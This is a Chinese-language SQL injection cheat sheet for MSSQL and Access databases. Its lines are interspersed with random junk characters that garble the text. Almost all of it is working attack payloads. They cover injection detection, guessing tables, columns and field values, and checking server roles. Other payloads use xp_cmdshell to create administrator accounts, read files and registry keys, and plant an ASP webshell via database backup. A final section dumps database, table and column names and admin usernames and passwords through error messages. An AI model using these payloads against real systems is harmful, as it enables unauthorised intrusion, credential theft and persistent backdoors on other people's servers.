1.判断是否有注入
7 e4 U9 N- s7 h: L; {;and 1=1 2 q& `. f$ U3 K' @+ n X0 \
;and 1=2 # e6 T& f9 D1 u: F7 |) N
9 N5 g- m. I. j% A' q
2.初步判断是否是mssql ( w& x u" z7 @4 k) k! g
;and user>0
6 s, L! N- R( P" ]) E: @& A9 W3 v. E2 D9 f" E
3.判断数据库系统 / ?# D2 Z% g: j+ o* y4 i o* `
;and (select count(*) from sysobjects)>0 mssql
! n3 a1 {0 w3 R7 L# `* d$ T& D;and (select count(*) from msysobjects)>0 access
* `1 P. g1 Z2 n$ u0 b8 j! [# s0 \( y9 z2 D _
4.注入参数是字符
: E5 ]2 }# C, ]5 }/ r' f8 ?'and [查询条件] and ''='
9 h) E1 m8 R' w# M5 o9 S& q6 _# L6 F) T
5.搜索时没过滤参数的 , T! f5 S% j" f, x) Y9 C$ t
'and [查询条件] and '%25'=' 1 X( g2 d8 d" B& }" y2 z4 l: h& }
+ O& `" @$ F* `$ C; ~' m. u% F
6.猜数表名 # g0 j' m. }7 y
;and (select Count(*) from [表名])>0
& Q; H4 S, ^: K$ ^( O$ Y1 @+ J
- `5 Y" T) X2 @0 {) u; b7.猜字段 ) A n+ V9 L' g
;and (select Count(字段名) from 表名)>0 / j1 E* r2 [4 g/ J7 L& [7 C7 } L' L
; j+ P; n# p, E& N4 M. {
8.猜字段中记录长度 1 R9 n, N" T( `0 [- b. C/ k
;and (select top 1 len(字段名) from 表名)>0 2 }$ l1 o1 Q% R0 b2 m9 z) ^
6 l- S/ D. C, S2 k9 m) z8 g( X
9.(1)猜字段的ascii值(access) % B% N+ o7 `7 `# T/ B7 t- R1 g
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
# l! X: M5 l W1 L0 R2 }& v9 n1 Y; f2 M. j r* H
(2)猜字段的ascii值(mssql)
/ s$ {/ o4 o7 o+ f;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
& x$ x u, a* }
% m& w8 G2 T) B10.测试权限结构(mssql) ( E+ f/ w+ \+ b6 b9 S* r
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- , a. {% z# P! N+ m) z, H& ?8 b
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3 m7 v) e+ Y% ]' G2 g+ b. v
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
. g) s q" D0 x0 O# q" s;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
5 V( d2 D$ V' T/ m;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4 X. ~+ Z1 e0 n' B
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
6 n% P& w' T' \0 b- N) l! b4 q7 y! v;and 1=(select IS_MEMBER('db_owner'));-- , U& N! m1 u8 O5 i M) \4 `
) o8 o7 j' q h
11.添加mssql和系统的帐户
6 h# ?; A; W8 T, U/ F; y;exec master.dbo.sp_addlogin username;-- ! D; n; T, ?) \' ~( f7 q
;exec master.dbo.sp_password null,username,password;-- : e8 w5 H2 l, x4 i' g- C
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- & {* L, E; Z8 C, t0 v
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 7 K. a( x6 T3 c; `5 c
;exec master.dbo.xp_cmdshell 'net user username password /add';--
. p ^' o a. S l9 }. G+ B;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
# i# ~3 I6 g! P3 ?7 v+ U" N, W: G! l- I5 ?! s! ~
12.(1)遍历目录
) }9 I" {9 f4 _' g; {2 I; S;create table dirs(paths varchar(100), id int)
; a% |6 D6 j. F;insert dirs exec master.dbo.xp_dirtree 'c:\'
1 J. D: Q+ T# O; X9 C;and (select top 1 paths from dirs)>0 ' p. M$ X! X) q, ]! q( i) K
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 9 c* X: F+ q: l b
; y/ Z7 q/ h9 V# ~# F(2)遍历目录
, Q0 S; O& r: H4 G. N;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
# C8 u+ F+ s; W' G* j3 t;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 % T! I1 F6 d' C9 t$ j7 }6 c
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 3 S: F. ~" W. `/ f
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
! I! p' U, V) v;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8 ]& u2 G" [- k
4 D- ^8 ?4 u4 B( {; G7 z13.mssql中的存储过程 9 t8 }( P( A/ I$ |
xp_regenumvalues 注册表根键, 子键 & p; p; }8 [$ L5 Y
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 6 t- ?" x4 r& c0 S) z
xp_regread 根键,子键,键值名
+ Y! l( Q9 J7 v# q) s1 ]+ t: `;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
7 W- v1 c% C h8 i5 C# J5 [- rxp_regwrite 根键,子键, 值名, 值类型, 值
8 [$ ^5 N# w) `5 S/ \( u值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 3 c, V# F! {6 L- V9 G
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 2 W m6 ~8 M8 q0 Z9 F. I9 T
xp_regdeletevalue 根键,子键,值名 8 W+ c/ R0 V: c. H
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 $ C9 \+ q8 t( ^- y/ |
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
2 s) a/ H9 |( E: s7 K$ U0 k0 y5 C
14.mssql的backup创建webshell / ~& d3 @( y5 Y4 {1 H
use model / T C; B6 i$ d8 M
create table cmd(str image); + D. s" B7 o6 q* P% ?3 @
insert into cmd(str) values ('<% Dim oScript %>'); 8 K& o) l8 n) l
backup database model to disk='c:\l.asp'; % Y" q$ Q$ z# G; E6 T
6 ?6 d- k; y$ [) `) f1 H3 S
15.mssql内置函数
/ Z8 x1 Q5 g2 j0 {;and (select @@version)>0 获得Windows的版本号
4 F3 I' _ z, a2 p;and user_name()='dbo' 判断当前系统的连接用户是不是sa & s! B2 Y+ j- u: L# C; g4 a4 I
;and (select user_name())>0 爆当前系统的连接用户 & \: q; S6 ^1 r, v
;and (select db_name())>0 得到当前连接的数据库 5 w8 J, G5 N! ^0 |, c
. ~7 _( R+ _. T! M
5 _9 U! V7 x: o E3 \, s( f8 i) `& s+ J
MSSQL手注暴库5 N2 B% H" [ M9 M" F" I2 ~
3 }9 _! C1 `# ?) J S9 M! h0 H5 g
1.暴出当前表名和列名' S0 Q6 |" |! o$ O8 s. G) |# `
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。1 I$ H( U$ N- ^. t( E
1 J& H0 B' P% a第一.爆出所有数据库名
: [/ |8 z- Y5 O. y2 C9 \利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
2 t' T$ Z1 _' Y4 F2 O; s. {0 I第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
5 c8 _9 F C5 `0 n
6 F- y' @( Y; W# q4 Rand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
' u. O. ^. s6 b0 K/ U6 m% s, M2 D1 j( V
# S8 o3 y' Y* k/ j6 E- P/ y( K
第二.爆出指定库中的所有表名4 A7 O3 _, K+ R, H& h' k/ x( w
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。9 M. l4 L4 {, }! g; n5 v
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。1 E0 o8 C2 m2 `8 I& ?- x6 E
" k% O; R# m, @
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
1 H/ R" O# N' hand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
# a# ~1 n, E6 p/ rand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--: I3 Y+ @$ G* w
6 K! n0 s, ?; K8 F$ ?
4.爆出指定表中的所有列名5 e6 V/ m2 y2 q1 N" I* J1 o# R
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
1 |. r0 \1 \& s//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'7 x- q9 M* U2 T/ J& Q: D; R
% }7 e; n: s- q5 i& fand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名4 X1 z5 x1 U! Y5 S- Z* G. N
- X' ~& Z5 M2 z" I再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 4 J7 v' l; h t5 b% {
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。+ j$ X2 G! u2 B5 V" }4 K
+ E* ~( a7 q+ z1 o# Z, i: r
- ~7 z# I5 w7 Z- d" O zand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值' {' q& v/ R3 U3 i; V0 `1 W
6 \+ Z2 K) I( @6 D7 n: band 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名( e+ c9 K! T+ G2 D
" |4 W, v% ~4 y9 B1 D
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
! i0 `: ]2 c5 C( W, t' ~6 @% C* S0 D% ^/ N
2 a) {+ a. m7 X
- m d3 o ~3 H( C" |$ u9 q2 z5.读取指定表中的数据
* w3 f* Y+ |( l0 x. L4 j8 y
9 [# q' J: A: O3 l' O9 Iand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
1 v+ _! q; M# O
8 T0 l% Y5 d0 N- R6 K/ g3 t4 Rand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
! L/ T: A' p2 ^) e; ]6 d w2 R) a$ A% N# I8 `( m4 X% b
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
, x3 Y! s, p* |. @
4 }7 K r5 `2 F& V: ?
& v6 l1 j6 J# V/ n9 i: }and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
2 h# t" u4 G0 L7 w: z
( v2 T4 |* l- G+ I$ K8 L3 Kand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
3 I: B- f6 R3 e
, t; f2 m4 K" ^# `" Y1 F5 ~and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--/ Z$ J9 g" {$ M* T
% c6 s8 c' N1 A. ]
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。( Z: Z/ O2 n0 K+ b
|